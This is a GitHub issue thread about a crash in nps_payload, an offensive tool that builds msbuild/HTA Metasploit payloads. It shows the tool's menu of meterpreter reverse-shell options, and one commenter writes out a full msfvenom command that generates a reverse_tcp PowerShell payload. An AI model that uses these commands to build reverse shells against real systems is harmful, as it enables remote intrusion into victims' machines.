Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

IOError: [Errno 2] No such file or directory: 'msf_payload.ps1' #3

Open
RizwanNawaz01 opened this issue May 18, 2019 · 7 comments
Open

Comments

@RizwanNawaz01
Copy link

python nps_payload.py

                                 (            (
                          ) (    )\        )  )\ )

( ) ( ) ( /( )\ )(()( ( /( (()/(
)\ ) /(/( )\ /(/( )(
)|()/( _ )\ )()) (()
(/((()(() (()(()_ )()) |(()(() | |
| ' )) '
|-< | ' ) | || | / _ \/ _ / ` |
|
||
|| .///| .__/_,|_, |___/_,_,|
|
| |___|_| |/

                   v1.03


(1)	Generate msbuild/nps/msf payload
(2)	Generate msbuild/nps/msf HTA payload
(99)	Quit

Select a task: 1

Payload Selection:

(1)	windows/meterpreter/reverse_tcp
(2)	windows/meterpreter/reverse_http
(3)	windows/meterpreter/reverse_https
(4)	Custom PS1 Payload

Select payload: 3
Enter Your Local IP Address (None): 192.168.137.145
Enter the listener port (443): 8080
[] Generating PSH Payload...
[
] Generating MSF Resource Script...
Traceback (most recent call last):
File "nps_payload.py", line 417, in
main()
File "nps_payload.py", line 410, in main
optionstask
File "nps_payload.py", line 108, in generate_msbuild_nps_msf_payload
encode_pshpayload("msf_payload.ps1")
File "nps_payload.py", line 68, in encode_pshpayload
psh_file = open(payload_file, "r")
IOError: [Errno 2] No such file or directory: 'msf_payload.ps1'

@cymilad
Copy link

cymilad commented Dec 20, 2019

yes my problem !!!!!!

@cymilad
Copy link

cymilad commented Dec 20, 2019

for me problem

@Spoonman1091
Copy link

From the error, it looks like the msf_payload.ps1 is not getting created. Can you run 'msfvenom' from the console? This is required to generate the payload.

@cymilad
Copy link

cymilad commented Dec 20, 2019

no

@Spoonman1091
Copy link

Install Metasploit. Make sure msfvenom is in your path definition.

@cymilad
Copy link

cymilad commented Dec 20, 2019

metasploit installed on kali linux

@sakuraupupup
Copy link

Before running this program you can use msfvenom to produce msf_payload.ps1
The command is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx (your ip)LPORT=443 -f ps1 > msf_payload.ps1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants